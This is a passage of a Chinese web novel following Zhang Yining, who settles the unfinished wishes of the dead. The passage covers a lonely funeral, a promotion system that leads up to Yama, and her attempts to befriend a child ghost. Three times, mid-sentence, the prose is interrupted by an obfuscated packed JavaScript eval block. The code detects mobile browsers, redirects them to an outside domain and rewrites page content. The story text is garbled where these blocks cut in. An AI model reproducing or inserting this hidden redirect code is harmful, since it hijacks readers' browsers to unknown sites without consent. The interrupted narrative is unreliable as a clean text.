“当然啦。” 她扯了个难看的笑容:“我家很远,今晚回不去的,”没等张祎宁再说什么,她站起身,“没关系,或许我今晚应当呆在她身边。” “明天早上八点,我们殡仪馆见。” 张祎宁想说点什么,还是放弃了,她将徐淼淼送到门口,替她打开门,目送她在不息的人流中形单影只。 她要怎么说出口呢?自己前一天未告假就缺勤, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457108|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天的状态也欠佳,而明天又要请假,只是因为“请假为难”要缺席葬礼还是临阵脱逃,放弃掉这马上就要到手的好评?这似乎根本不成理由,可是为难是切实的,她幻想中现实生活与掌簿世界泾渭分明的那条分水岭,也逐渐没入水中。 “要没什么事我们就先回去了。” 语气丧丧的,缺乏斗志。杜文新终于舍得抬起他的头,懒洋洋地说道:“你等一下。”转身轻敲厨房那面大玻璃。 “坐吧,老金给你做了吃的。” 她和刘元詹面面相觑,疑惑地问:“我没点餐啊?”手上还是听话地阖起大门。 杜文新打开厨房门,一股熟悉的浓香只一个瞬间就侵占了屋子每一个角落,也经由张祎宁的鼻子流经四肢百骸,她神色复杂地看着老金端出一口砂锅。 美梦化为噩梦,只是一个顷刻间,那此刻是什么?是重回美梦还是噩梦的余晖? “刘元詹,我是不是还没醒?”她艰难地转头看向刘元詹,想辨认出梦境与现实。 他含笑道:“不是梦。” 杜文新拿了副碗筷过来,听到张祎宁的问话,停在原地,双手捂着碗,狐疑道:“这不是你自己点的吗?脑子摔坏了就想不认账了?” “谁不认账了,我知道是昨晚的!” 老金从杜文新手上拿走碗筷,勺了一勺汤进碗里,“是今天新做的,快趁热喝。” 张祎宁被香味勾了过来,警惕地向锅里望,是自己心心念念的松茸猪肚鸡汤,不是黑乎乎的毒药。她顾不得烫,生怕这锅也会不翼而飞,然后整个世界天旋地转。滚烫的汤点过舌尖,划过齿根,流向喉咙深处,鲜! 很舒服,像泡在温泉里,周身的疲惫和若隐若现的头痛都被水流冲走,“温暖”,张祎宁想起这个词。 她这才忍不住,滔滔不绝:“你们不知道!我昨天,不是,前天晚上做梦!梦到就是这样的场景!老金给我做了这一锅汤,我一口都没喝上呢就晕了,头痛得不得了,还以为……还以为老金给我采到了毒蘑菇……” 杜文新扑哧笑出声来,拍着老金的背,笑道:“哈哈哈哈!老金,你一世英名栽她手上了!哈哈哈哈毒蘑菇!” 张祎宁急得将滚烫的汤一口咽下,否认道:“我不是这意思!是梦!” “行了,你快喝吧,今晚就算是毒蘑菇也吃完。”老金无视杜文新的打趣,走回厨房。他虽如此说,但张祎宁没有捕捉到他有着恼的痕迹,放下心来。 她将刘元詹唤来坐在一旁,问:“你能闻到这个汤的味道吗?” 他笑着摇头。 “可惜,老金的厨艺真的很好。”即使不能吃,闻一闻味道也是好的。 却不想他噙着笑又问:“你此刻快乐吗?” 张祎宁用力地点头。食物的力量便是如此,慰藉人心,恢复能量。 “既如此,我也可不喝汤,与你同享快乐。”他的眼神飘向张祎宁的手机,张祎宁心领神会,给他打开播放《海绵宝宝》。 他们这一顿操作都落在杜文新眼里,杜文新一脸正气地坐在张祎宁对面,指着刘元詹,痛心疾首:“你都教了些什么糟粕?斯文君子怎么变得油嘴滑舌?” 虽说她也觉得刚刚的刘元詹有点超出她的想象,但杜文新这假正义的面孔她气不过,呛到:“哪里油嘴滑舌?这不挺好的,这叫‘活人感’。” “死人要什么活人感?算了,随便。我是想问你今天的死人感怎么回事?你昨天出灵了?” “出灵?” 杜文新叹了口气,揉揉额头,“你真的应该先好好扫个盲。出灵就是掌簿会遇到的濒死体验,生不能,死不得。当然,也有掌簿这辈子都没有这种体验,因为有我们。” 原来还有专业术语,这种应该叫行业黑话才对,一辈子都没有这种体验……她张祎宁短短当掌簿数月,就遭遇了两次…… 看见张祎宁青一阵白一阵的脸,杜文新道:“看来是了,可你不是跟我说你上个月的搞定了吗?”这才是他最关心的问题。 说起这个,她气不打一处来,恨恨道:“太亏了!我上个月做了六单!辛辛苦苦六单,六个全好评!这个月也兢兢业业跑了三单,结果一单没成,一单说是上个月底的,这个月到头来没达标!你说怎么有这种事,死板、迂腐!”最后四个字张祎宁咬牙提高了音量,希望能传到正确的人耳朵里。 杜文新笑了笑,“你还真是……”想了片刻才蹦出两个字眼——“奇怪。” 问题被解答后,他没有兴致继续参与张祎宁背后蛐蛐阎王的环节,回到了吧台后。 整整一锅,张祎宁喝了个干净,哪怕她是吃了晚饭来的。她一口接一口,脑子里什么都不用想,时而发呆,时而跟随屏幕里的海绵宝宝而笑。不知不觉又是十点,今日比预想的结束得晚。 “买单。” 杜文新没动作,“就当补身子,明天别再摆出这死人样,顾客都给你吓跑了。去把碗筷收拾了。” 张祎宁也不拆穿今日根本没客进店的话,笑着收拾碗筷,敲了敲厨房的门,听到老金说“进”后安静地在水池边洗碗。 刘元詹问她是否快乐,她没有说谎,快乐久违地悄然而至。 27. 淼淼 张祎宁不是第一次参加葬礼,母亲的葬礼距今已经快二十年,她的记忆很模糊,但在她的印象中,至少不是现在这个样子。怎么说呢,安静得出奇,安静得诡异。 她不知道是自己来晚了还是来早了,如果不是这里的LED屏上写着“徐淼淼遗体告别仪式”,她会怀疑自己来错了。 本该在场的亲朋好友,只有一个身着黑裙的中年妇女,她双手捧着骨灰,就坐在台阶上,眼神空洞。张祎宁像是一个不小心闯入大人世界的顽皮孩童。 “这是你的母亲?” 徐淼淼点头,看向那个中年妇女。 这个场面有种说不上来的阴森哀戚,打破它吧,有点残忍,不打破吧,张祎宁只请了半天假,再被扣工资,那她也凄凄惨惨戚戚了。 “唔……你现在需要我做什么?有什么话想跟她说吗?” 徐淼淼没有回答,无声地走了过去,坐在那个妇人身边。 张祎宁在给她们母女俩一点独处的空间和走过去加入她们中间选择了后者。 刘元詹就站在不远处的树下,仰头承接一片片的落叶。 她们谁都不开口说话,张祎宁也不好贸然开口,更何况她根本不知道自己现在该说什么该做什么。自己昨天的决定就是个错误,她应该逼着徐淼淼先写点什么的。 在徐淼淼的母亲身边坐了十分钟,对方都恍若未觉,直到一滴泪落在地上。张祎宁正低着头拨弄落叶,看见了那一滴一滴的水渍,抬起头后才发现,是下雨了。 “阿姨,下雨了,进来避避雨吧。”张祎宁扶起徐淼淼母亲往里退至廊檐下,这时她才注意到张祎宁,迟疑道:“你是?淼淼的朋友吗?” “算是吧。” “他们都不知道淼淼不在了。”言下之意便是“你为什么会知道”。 “听邻居们说的。” “哦。” 又陷入了长久的沉默,张祎宁想给徐淼淼递个眼色,可徐淼淼的目光一直定在母亲手里的骨灰罐上,久久未回神,她泄了气,没一个活儿是好干的。 “他们都说刚开始那段路很黑,只有自己一个人往前走,要走很久很久才能看见一束光,看见那束光以后才算到了鬼门关。淼淼她怕黑,家里的灯从来都得亮着,为了不走夜路,就在公司旁边的小区租很贵的单间,省吃俭用的。三天了,你说这条路淼淼走到头了吗?” 张祎宁看见一个母亲茫然空洞的双眼。 徐淼淼怕黑,可死后的这几个晚上,她一个人走了很长的夜路。 徐淼淼像犯错的孩子,低着头绞着手指,张祎宁替她答道:“总会走到头,害怕也会走下去的,再不济也能循着原路回家。” “她不会再回家了,这次是真的生我气了。我……为什么会变成这个样?我太知道一个人的苦了,所以我希望她的人生起码能有个依靠,一碗苦药,两个人分着点,她也能少尝些苦。” 张祎宁的喉咙被压着,发不了声。徐淼淼都未开口,她又有什么立场替徐淼淼说些安慰宽心之语呢? 徐淼淼的母亲双手摩挲着骨灰罐,口中喃喃,“也不知道肯不肯原谅我,如果见到我会不会不想理我……” 话里隐含的意思让张祎宁无措,她可以帮亡者走下去,但实在不擅长劝未亡人走出来。 “高三暑假我妈带我去了趟绍兴,那个地方很美,和我老家完全不一样。妈妈说她年轻的时候来过一次就爱上了那里,所以也想带我去看看。我们呆了三天,每天都在游船。你坐过吗?就是那种很原始的摇橹船,晃晃荡荡,荡荡悠悠。我晕船,就躺在她腿上,像回到了小时候在太阳底下,我也是躺在她的腿上,她眯着眼睛帮我掏耳朵,痒痒的,麻麻的。我那个时候答应她长大以后要赚好多好多钱,我要买一辆房车带她环游世界,因为我晕船。” 徐淼淼看向张祎宁,明明满是哭腔,却不见泪痕,她哭求道:“你帮我跟她说一句话吧,就一句,你问问她,她更愿意回绍兴坐船还是坐房车周游世界。” “阿姨,淼淼之前跟我讲过你和她的事,她其实一直有个疑问,阿姨你更愿意回绍兴坐船还是坐房车周游世界?” 她脱口而出:“房车,淼淼晕船。” “我想回绍兴了,妈,我们回绍兴坐船好不好?你给我取名淼淼,六个水呢,坐惯就不晕了。”徐淼淼看向她母亲,可惜天人相隔,咫尺已是天涯。 张祎宁深呼吸,平复好心情后说道:“阿姨,淼淼说过,她其实更想回绍兴。她希望你能再带她回去坐船。她还说,她的名字里有六个水,命里就不会晕船的,坐惯就不晕了。” “好,好……好,回绍兴,我们回绍兴坐船……”她像是抓住根浮木般紧紧裹住怀里的骨灰罐,空洞的双眼似古井般泛起水波的光泽,一头扎进雨里。 “妈!” “阿姨!” 张祎宁叫住那个蹒跚的背影。 “再见。” “再见。” 直到那个身影消失在视野里,徐淼淼才怆然问道:“她还会寻死吗?” “我不知道。” “如果你不放心,就去陪她吧。”到嘴的鸭子让它飞走,张祎宁不知道是不是这次痛得太严重,脑子真的坏掉了。几乎是话刚说完,她马上就后悔了,忙吞回尾音。 “没想到你这么公事公办的人也能说出这种话。不了,我死掉的时候我和妈妈互相折磨,我不想再眼睁睁地看着两个人痛苦。” “听说人就算忘掉了前世的记忆,但是总会和前世有丝丝缕缕的关系,就是那种似曾相识的既视感,说不定我的下一世会是个渔民。”已经听不出她的哭腔了,她又换上了张祎宁第一次见她时开口玩笑的态度。 “嗯嗯嗯,有可能。你和你妈真的很像,很喜欢听这些乱七八糟的东西。”张祎宁回归掌簿身份,拿出阴身簿,看见那端端正正的六个水。 张祎宁没和徐淼淼的母亲说几句话,再者说,说几句话就能拿到一个月免除头痛的一半机会,这笔买卖也有点太便宜自己了。她问道:“还有什么话想说吗?念出你的名字之后,你便会离开这里。” “唔……我想想啊……想到了!那个店里的男人,他叫什么名字?” “吧台后那个?杜文新?” 徐淼淼爽朗笑道:“杜、文、新。嗯,真不错。” 不错?什么不错?不会是她想的那个意思吧? 张祎宁不可置信地看向徐淼淼,徐淼淼笑望着她,侧着身子凑近,“你也想说,造化弄人,对吧?” 徐淼淼的眼睛很漂亮,笑容很漂亮,这些都比她的漂亮美甲可惜。张祎宁摇头,认真说道:“不, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463245|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我想说,徐淼淼,你很好,我希望下一世你能幸福。” 徐淼淼发出一声快慰的笑,又转头看向淅淅沥沥的雨,“那条去鬼门关的路真的很黑很黑吗?” “没有这条路,基建还没发达到能直通鬼门关。” “那就好……我有些后悔了……” “什么?” “我后悔了,我不该当着妈妈的面跳下去的,其实活着也很好。” 她笑着说完这最后一句话。 活着也很好。 张祎宁收起阴身簿,看向雨里的刘元詹,他还站在那棵树底,雨拥着树叶坠下,他伸出双手想托住雨水,但他托不住。雨滴落在地上,和另一滴汇合,它们或是漫延,一路向河,或是蒸发掉,回到它的水循环中去,没有一滴会被独自留下,以水滴的形态。 张祎宁遇见他的时候,他已经在这世上游荡了六百年之久,他说他无时无刻不想离开这里,他不想再当鬼魂,甚至不想活着了,他最大的执念明明就是灰飞烟灭。但鬼是没有执念的,鬼的执念也没有人想管,我们只关心身为人最后一刻的放不下。 张祎宁走进雨里,来到他面前,将自己的双手放在他的双手下面,替他掬起一捧雨水,“这不就有了吗?” * 十月初的天气吹风淋雨可不是好主意,张祎宁蹲在廊檐下,裹紧了自己,不断摩挲臂膀生热,刘元詹还在一旁执着地伸出手接雨水。 虽然她很珍惜自己的脑袋,现在轻易不敢磕碰,但还是忍不住伸手轻敲,怎么回事?这两天总有说不清道不明的复杂情绪在搅动,她的思维很混乱,会情不自禁地说荒唐的话、做奇怪的事。 正自苦恼,有东西轻轻地盖在湿发上,她错愕抬头,先是看到白毛巾的一角,而后是站在身侧端着一杯水、笑意盈盈的女生,她微弯下腰,将水杯递给自己,温言道:“喝杯热水吧,可别感冒。” 陌生人的好意最是招架不住,张祎宁起身,惶恐地接过水杯,薄薄的纸杯壁隔绝了灼人的滚烫,只传递出恰好的暖意,她连声道谢。 “你是徐淼淼的朋友吗?”对方像是随口找个话题。 张祎宁答:“算是。” 她看着张祎宁喝下两口热水,接过纸杯捧在手里,关切道:“先擦擦头发和衣服吧。” “你肯定是徐淼淼的好朋友,除了她妈妈,只有你一个人来了。” 张祎宁无法解释这件事,索性只礼貌微笑,不答言。 她又问:“你说,徐淼淼如果知道她的告别仪式这么冷清,会不会难过?” “为什么会难过?” 她也没有回答张祎宁的疑问,将纸杯还给张祎宁,说道:“很高兴认识你,我叫林瑜茜,双木林,瑕不掩瑜的瑜,草字头的茜,林瑜茜。” “啊……你好。” 见张祎宁没有交换自己名字的打算,林瑜茜莞尔一笑,“雨快停了,我就先走了。” 她转身往里间走去,看来是这里的工作人员,张祎宁直到看见对方消失在拐角才回过神,扯下头上的毛巾,“毛巾……忘记还了……” 现在的社交距离都这么近吗?萍水相逢便可交换姓名。 林瑜茜,殡仪馆,也许还会有再见面的一天。 张祎宁叠起毛巾,放在一旁的座椅上,默默等雨停。 28. 晋升机制 送走了淼淼,张祎宁没忘记,还有个小小等着自己。 但这个月开局就收获一个好评,剩下二十多天对付一个小小,足够了。张祎宁开启了摆烂生活,早上见到小小就笑脸相迎,也不提他的事,麻痹得小小以为姐姐已经默许自己和爷爷继续相处;晚上她也只挑两天去1980taste,主要目的是打打牙祭,改善伙食。 发生一百八十度大转变的人不只张祎宁一个,还有杜文新。 杜文新开始频繁骚扰张祎宁,每接到一个单就问她有没有兴趣,张祎宁拒绝了第一个为了求和假装割腕自杀但下手过重的,杜文新不语;张祎宁拒绝第二个喝醉酒后被自己的呕吐物噎死的,杜文新默不作声;张祎宁拒绝第三个去荒无人迹的鬼屋探险却因掉进年久失修的地窖口饿死的,杜文新发作了:“这不就是让你帮忙报个警的事儿,根本没有难度,为什么不接?” 张祎宁一边津津有味地吃着老金今日出品的杂蔬贝柱炒饭,一边咂摸这些“离奇经历”,如果将这些离奇经历都编录成书,大概会被质疑真实性吧,人世间的巧合远比文艺作品更有戏剧张力。 “很简单,所以你留给别的掌簿吧,我这个月就差一单,把小鬼那单做完就到手了,如果实在不行,月底我再找你要个急单。”她答得不紧不慢。 杜文新蹙眉,不确定地开口问道:“你受什么刺激?这就放弃了?” 张祎宁不认同他的说法,“没有放弃啊,一个月两个好评,我达成这个KPI就够了,多了无益。” 杜文新抱臂,以审视的目光看向她,“我说的是晋升,你之前不是在努力晋升吗?” 晋升?! 张祎宁和杜文新沉默地看向对方,四目都是浓重的不可置信。 “你!?” “你!?” 两人又同时闭上嘴,等对方先开口。 还是张祎宁先憋不住气:“晋升是什么意思?掌簿能晋升做什么?是变成你和老金这种吗?” 她自觉自己没有什么不能示人的底牌,阎王又一问三不知,真怀疑是不是暗中使绊子,在这二十一世纪,信息差是致命的。 杜文新欲言又止,几次重组语言,最后无奈道:“掌簿晋升之路的尽头是阎王。”又觉得这样的解释太笼统,张祎宁肯定会追问,索性继续说道:“你有注意过勾魂后出现的那张排行榜吗?” 是的,那张排行榜,张祎宁见过好几次,上面密密麻麻的都是人名和星级,但应该是做了特殊处理,除了自己的信息以及最顶上一人的信息,其它都看不真切。 “晋升是看那张排行榜?” “对,掌簿之首即排行之首,就是阎王。” “也就是说,大家都在竞争这一个位置,这个销冠?现在的阎王又是?” “这几百年来,还没有人超越他。” 这一瞬间,张祎宁觉得阎王离自己原来这么近,他的前身也是掌簿,可又那么远,自己和他的距离也许是几辈子都无法企及的。 思及此,她那颗被点燃的心又灭了下去,“阎王能干嘛?” 杜文新难得哑言,片刻后才说:“你自己问他去吧。” 一瓢子打不出个屁的闷棍,他要肯告诉我,至于害我现在在这丢人现眼吗?不过也无所谓了,杜文新想必见怪不怪。 “还有一个问题!”张祎宁叫住正欲起身的杜文新,“掌簿都是人,晋升的目标又是阎王,难保不会出现不正当竞争吧?我的意思是,比如余倾山之流也会找到愿意帮他的掌簿。” 她之前不知道有这个晋升机制存在,才认为诸如余倾山提出的不合理要求或是复仇一类执念大概率是找不到掌簿相帮的,毕竟既麻烦又可能给自己招致祸端,但巨利在前,就另当别论了。 “我们所有人都在阎王的股掌之间,在他的眼皮子底下耍小动作?就算趁他老人家打个盹的工夫干了什么荒唐事,还有我和老金制裁。当然最重要的理由就是你们这些人不会,不会做坏事。” 张祎宁感到不可置信,这最重要的理由反而是最牵强最没有信服力的。掌簿也是人,是人就会逐利,再不济也会趋吉避凶,杜文新竟然对人性怀有信心吗? 杜文新居高临下地睥睨,“不过,什么事情都不会万无一失,所以大家都懂得隐藏自己的身份和意图以自保。” 张祎宁听懂了他的言外之意,也忽然理解他当初说的那句“你会出现在别人的视野里”是什么意思。不,如若有心之人,她早就暴露了,她大张旗鼓地在天桥摆个算命摊,还差鬼替她四处宣传招揽生意,简直就是个显眼的靶子,甚至会不会有人已经知道了她的真实身份,知道她叫什么名字住在哪里…… 那她放弃天桥据点,来到这里,在那些人眼中又代表什么呢?这是一把双刃剑,会吸引更多人的目光,善意的、恶意的目光都会扫视到自己,但无形中也多了一层保障,比如她现在得到的信息以及这两个人身份上的庇护。 见张祎宁皱着张脸,一会儿拧眉,一会儿舒展,杜文新默默地走到门边,没有拉开,只是站在那。 张祎宁不是阎王选择的继任者。某种意义上来说,她又是阎王选择的。 阎王,你打算怎么做? 张祎宁是一枚炮吗?借力打力?还是马前卒? * 张祎宁这餐饭吃得实在无味。阎王给了自己掌簿的身份,却让她晕着脑袋就往前冲,杜文新和老金有不一样的身份和图谋,却又矛盾地扮演着“领路人”的角色,而刘元詹,他更抓瞎。 但张祎宁想到了一种可能,她想要验证一下,如果可行,目前的困局都有望打破。 刘元詹本来好端端地走在张祎宁的旁边,但走到这条笔直的步道上时,他被张祎宁的影子吸引,一会儿长一会儿短,一会儿在前面一会儿又溜到了后面,再看时,影子又趴在右前方,就像调皮的孩童绕着张祎宁转圈捉迷藏,鬼使神差地,他也跟着影子的走向移动。 张祎宁的脑子里在想事情,没注意到他的自娱自乐,想毕后停下脚步,刘元詹直愣愣地向前跳,从她身后直接穿到了她的前方,两人都定住了,一个是不知道发生何事的疑惑,一个是犯错后的不安。 刘元詹转过身面向张祎宁,对上她不解的眼神,惶然地后退两步,离开了影子覆盖的范围。他一向避免触碰,也知道张祎宁排斥,但是他刚才…… 其实没有感觉,被鬼穿身而过是没有感觉的,她现在才知道。上次她是直视张长贵冲了过来,那阵涟漪是心上泛起的恐惧,可刚才她毫无感觉。 看着刘元詹想躲不敢躲的视线,张祎宁打定主意,低声唤道:“阎王,关于晋升机制,我只有一个问题想问你,你可以回答我吗?” 就在她以为又石沉大海后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466329|185225||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳边响起了清晰的回音:“问。” “阎王……能和鬼成婚吗?” 问题稍显惊世骇俗了,但阎王毕竟是阎王,沉默只持续了两息,他答:“未尝不可。” 这是目前张祎宁能看见的唯一一条明路,即使它是条天梯,轻易不可达,但只要有路,便能走。 她兴奋地大跨步上前,粲然一笑道:“刘元詹,我找到办法了!阎王能和鬼成婚,只要我当上这个女阎王,我就可以带着你过鬼门关啦!” 他一怔,不可置信地反问:“真的吗?” “阎王说的还有假?不过,这晋升之路可不容易,或许还要很久很久,你再耐心等等我好吗?我会努力的。”张祎宁认真地看向刘元詹,这次的承诺真心实意,她不会再后悔。 “好。”他被张祎宁感染,头一次笑得如此开怀。 “我巴掌这次是真要问鼎地府了!” 是秋天到了吗? 张祎宁的鬓边碎发被吹起,发梢溺在那弯月牙里,是秋风吧?刘元詹久违地感到一阵沁人心脾的清凉。 * “哥!杜哥!新哥!那个地窖的活儿还在不?你派给我呗~”张祎宁腆着脸求杜文新大发慈悲。店里有客人,她小声地讨要。 杜文新正在算账,她极有眼色地帮忙:“采买花了506元,这笔一共2214元,嘶~水电费这么高呢,杜哥,下个月要供暖了吧?还得留点采暖费。” 杜文新觑了她一眼,换来张祎宁谄媚一笑,他受不住张祎宁这副德行,“你不是不接吗?早派出去了。” “你好!要一杯温开水。”食客招呼吧台后窃窃私语的两人。 张祎宁殷勤地应声:“马上来!” “我来,杜哥,这点小事我来就好。” 她轻车熟路地倒了杯温开水给食客送去,又跑回杜文新身边,继续攻势:“杜哥手上还有别的活吗?脏活累活我都不嫌弃,有活儿就能干。” 杜文新挑眉,戏谑道:“怎么?想篡位当阎王了?” “这说的什么话?我这是为他老人家分忧,担起掌簿职责,维护好两届的人鬼秩序,既然排行榜在那,分忧的同时我也冲一冲,调动一下积极性嘛!”她发誓自己再也不在背后蛐蛐阎王,因为根本没有“背后”,他老人家可是全知视角啊! “这话没少当着阎王的面说吧?” 张祎宁嘿嘿一笑。 “你不是手上还有个小鬼吗?” “是,但小鬼难缠嘛。” “那么多掌簿嗷嗷待哺,我得先满足大伙儿的基本需求,剩下的才好分给你,你先搞定这个小鬼,外面接的我不多干涉,知会我一声就成。” 这话等于白说,张祎宁不死心,绕到杜文新身后给他捏肩,杜文新吃痛地冷吸一口气,躲开了。 “我都没用力,你可别碰瓷!”她习惯性要怼人,想到自己在求人,又软了下来,“杜哥伏案工作太久,按一按可以缓解肌肉紧张酸痛。” 杜文新往后躲,摆手赶她走,“不用,别在这里妨碍我,数都忘了。” “506、2214,杜哥记得留点给我哈~” 杜文新不耐,“知道了!” 张祎宁得逞地给站在厨房门边旁观的刘元詹一个胜利的眼神。 这里留了条后路,接下来的任务就是快速集中攻克小鬼了! 29. 万事开头难 “你说,我们该从哪入手好呢?” 张祎宁坐在树台上,捅了捅一旁的刘元詹。树台面上贴的是瓷砖,这个时节坐上去有点拔凉。 “不知。” 张祎宁摩挲下巴的手一顿,不满地抗议:“发挥你的主观能动性!你走过的路比我吃过的盐还多!” 刘元詹不合时宜地虚心好学:“何为主观能动性?” “就是发挥你的作用、你的优势,”说到“优势”,张祎宁灵机一动,“你们都是鬼,更有话题聊,你去和他套近乎,先换取他的信任。” 此计显然让刘元詹十分为难,他看了眼正对面墙角沙堆里捣鼓沙子的小小,犹豫道:“他果真明白自己是鬼吗?” “那就不聊这个,聊点孩子的话题,”张祎宁拊掌,激动道:“动画片!相信我,这世界上的每个小孩都知道《海绵宝宝》,你就跟他聊海绵宝宝!” 刘元詹不太有把握,“说海绵宝宝就可?” 张祎宁却坚定地重重点头,“放心吧,我就在这,你大胆去社交。” 刘元詹不记得生前的自己有怎样的性格,但有限的记忆中确实找不出太多他主动与人攀谈的画面,即使面对的是个孩子,他也感到压力。 “你在做什么?”他蹲下身子,轻声问道。 “哥哥,我在玩沙子,你要加入吗?”稚气的声音向他发出邀约。 “如何玩?” “这里是城邦,有爷爷有小小有很多人生活,”小小指着自己的左侧一片区域,然后手指右移,“这里是骑士的战场,这个举起双手的是爱迪奥特曼,他对面正在喷火的是大怪兽,哥哥小心,你的左脚再偏一点就要踩塌桥了,”小小善意提醒道,“只要爱迪奥特曼打败了怪兽,小小和爷爷还有城里的人就能到桥那边的花园去玩啦,这个花园是神仙建的,可漂亮,而且只要在花园里许的愿,神仙都会帮忙实现!” 刘元詹伸出手,徒劳地摸了一把沙子,问道:“你许了什么愿呢?和爷爷永远在一起吗?” “我许的愿是吃巧克力不会掉牙!”小小骄傲地仰起脸,继续介绍他的宏伟蓝图:“这个怪兽有点厉害,我正在做另一个赛文奥特曼,两个奥特曼合体打怪兽!哥哥也可以做点什么,除了怪兽都可以。” “为什么不直接向神仙许愿让怪兽消失?” “哥哥没看过奥特曼吗?神仙怎么能打赢怪兽?只有奥特曼才能打赢怪兽。”小小撇撇嘴。 刘元詹从一开始就听不懂小小说的那些东西,现下听到小小的疑问,他决心将话题拐回自己擅长的领域,完成张祎宁的托付,遂问道:“你知道海绵宝宝吗?” 小小继续埋首自己的大工程,摇头道:“不知道,那是什么东西?” 出师未捷身先死,竟然折戟在第一步,刘元詹茫然地转头向张祎宁求助。但张祎宁看见他因为难而蹙起的眉峰,不知道具体发生了什么事,只能握起双拳给他打气,鼓励他继续聊下去,希望可都寄托在他身上了。 刘元詹只能继续磕磕绊绊地回答:“那是……叫动画片。你没看过吗?” 小小堵上了他的退路,答道:“没有,我只看过奥特曼、熊出没、超级飞侠、钢铁飞龙,还有电击小子。” 他铩羽而归,比起毫无收获的失落,要如何将结果告知张祎宁才是此刻他挪不动脚步的原因。不管是人是鬼,嘴巴笨都是硬伤。 “如何如何?你们聊了好一会儿。” 刘元詹的脸上不甚明朗,支吾道:“他……他说他没看过《海绵宝宝》……” 张祎宁不敢相信地揉揉耳朵,怀疑是刘元詹没听懂对方的话,复问道:“他是怎么说的?” 刘元詹原原本本地复述:“他说他不知道海绵宝宝,并问我那是什么东西,我告诉他是动画片,他说没有看过。” 没看过《海绵宝宝》?!这难道不是每个小孩的童年必备启蒙影片吗? “他不看动画片?” 刘元詹苦思冥想,只能检索出少数几个关键词,“ao?aoteman?还有dianji小子,还有一些,我未解。” 奥特曼啊……也是,小男孩喜欢看奥特曼,还有一个应该是《电击小子》。张祎宁不敢直视他了,自己言之凿凿“这世界上的每个小孩都知道《海绵宝宝》”,结果上来就遇滑铁卢,就连张祎宁这个二十多岁的和这年纪的小孩之间都有一条不知深浅的鸿沟了,她怎么会指望一个“老夫子”? 她尴尬地笑了笑,岔开话题:“没关系,奥特曼和电击小子,我们回去就恶补。” * 野笋老鸭煲和姜葱炒蟹,张祎宁习惯性先关注门口招牌上的今日推荐,发现竟有两道大菜,现下膏蟹肥美,经由老金烹饪,简直没有难吃的空间,可惜,她这个月已经与全勤奖擦肩而过,也没遇到能犒劳自己的喜事,这螃蟹看来是有缘无分。 叮铃。 清脆的铃声响起,有人推门而出。 她下意识侧过身让路,对上一张微怔的面孔,这张脸上镶嵌有硬朗的五官,檐下的廊灯和门半开透出的暖光在他的脸上重叠,逐渐扩散至另外藏在阴影里的半侧,不及露出,又重新掩入阴翳。 门关上了,对方移开短暂停留在张祎宁身上的视线,步履矫健,将四下的夜风一袭卷走,残留的一缕扑向了她的面门。 她重新推开那扇阖起的门。几乎是立时,她就推翻了刚才的打算,全勤奖下个月还可以努力,但秋季的蟹错过又要等一年!“鲜”味像是刻在人类基因片段里,每个人对它的感知和灵敏度都不同,你也很难清楚转述这究竟是一种什么味道,但当这股味道通过鼻腔、口腔时,它就像受到感召,传达至大脑,清晰地告诉你——这就是“鲜”。 “来得正好,把碗筷收拾了。” 杜文新就是那种蹬鼻子上脸的人,别给他嗅到软肋,一旦被拿捏,他会骑脸。 张祎宁到现在为止还没从他那薅来一单,自然不会听之任之,笑嘻嘻问道:“杜老板这小店时薪多少呀?” 他端起水杯喝了一口润喉,也回笑道:“那自然是行业里拿得出手的,我这有一条消息,你保管感兴趣。” 张祎宁跳上吧台前的高脚凳,饶有兴致地问:“什么消息?” “先收拾。” “什么类型的消息?你不给个提示,谁知道是不是坑?” 杜文新抱臂,自信地说:“童叟无欺,我说你感兴趣,你就一定感兴趣。” 听他这么打包票,张祎宁不再犹豫,接下了活计。如果洗个碗就能换条消息,她不介意再多个“洗碗工”的兼职。 张祎宁利落地将碗碟和两双筷子放进砂锅,端着砂锅来到厨房门前,将砂锅稳当地转移至右手手心处,空出左手旋开厨房门把手。 “既然死乃唤作圆寂,洒家今已必当圆寂,烦与俺烧桶汤来————” 她停在原地,声声戏文也戛然而止。老金坐在橱柜旁,手里握着个迷你扬声器,和张祎宁四目相对。 “我……” 杜文新轻扯过她的小臂,自然地将厨房门关上,两秒后,屈指轻敲,随后才重又打开,提醒道:“以后记得敲门。” 她轻声应:“哦。” 虽不是见不得人的秘辛,但莫名的尴尬还是在厨房蔓延开,人一尴尬就会开始装忙,例如突然开始擦灶台的老金和开大水流的张祎宁。 “老金,还有螃蟹吗?”张祎宁和老金的交集都局限在食物,所以她试图以此话题驱散不自在的氛围。 “今天就准备了两份,都卖完了。你想吃?” 